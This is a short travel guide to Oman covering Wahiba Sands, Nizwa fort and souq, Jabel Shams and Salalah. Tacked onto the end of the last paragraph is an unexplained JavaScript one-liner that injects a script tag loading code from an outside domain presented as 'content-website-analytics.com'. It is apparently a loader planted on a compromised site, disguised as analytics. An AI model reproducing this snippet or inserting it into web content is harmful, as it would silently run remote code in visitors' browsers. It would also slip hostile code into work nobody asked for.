Visit the Wahiba Sands

It takes approximately 2.5 hours to get here from Muscat. This dessert offers splendid sand dunes and beautiful sunsets. You can book your tour through a local operator or explore it on your own. Book an overnight stay and enjoy in the bedouin camps, fresh seafood and camel rides.

Nizwa

Nizwa is known as the old capital of Oman. It is well-renowned for its ancient forts and castles that are located amongst the wild wadis (Arabic for valley). Capture the true essence of the Omani culture in these places, far from the modern capital.

The drive to Nizwa from Muscat takes approximately 3 hours, and the trip is very pleasant with well-built highways and the striking beauty of the Al-Hajar mountains, and the wadis. Have your camera ready to capture unexpected but breathtaking views along the way. There are plenty of shops all along the way so don’t worry if you need to stop anywhere. The Nizwa fort is one of the oldest forts in Oman and is known for its ancient Omani architecture and its light dusky color.

The whole construction took almost 12 years to complete, standing atop the tower gives a wonderful view of the entire city of Nizwa. A huge local market around the compound attracts numerous local vendors to sell various cultural artifacts and food items too. Frankincense is a popular commodity here and make sure you try the fresh fruits and halwa. The iconic Omani khanjar is sold here in all shapes and sizes.

Jabel shams

Popularly known as the ‘Grand Canyon of Oman’, the name Jabel Shams, translates to Mountain of the Sun. Oman’s highest peak (3,009 m) is located here, and it acts as a good vantage point from atop the mountain. Enjoy the cool climate and the surprising company of friendly mountain goats, hike along the cliffs or enjoy in some off-road adventure, through abandoned villages and witness the marvelous grey limestone rock formations.
It might get windy and occasionally may even rain so keep your supplies ready.
You can plan a night stay in one of the nearby resorts or set up a camp yourself. This area has a clear sky and offers an enchanting view of the starry night sky.

Salalah

It is the capital of the Dhofar province and flights take almost 1 to 1.5 hours to get here from Muscat. Locals, as well as visitors, have long fancied this place. The khareef season (monsoon season) that spans from late July to early September is when it’s the most visited. Must see places include wadi Dirbat, Ayn-Athum waterfall, Marneef cave and the fascinating anti-gravity point. The misty and cool climate quite enjoyable.

Coconuts are found in abundance here and the place is well-known for its local specialities that aren’t found elsewhere in the country like muthbe, ma’jeen and a vast array of seafood.;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);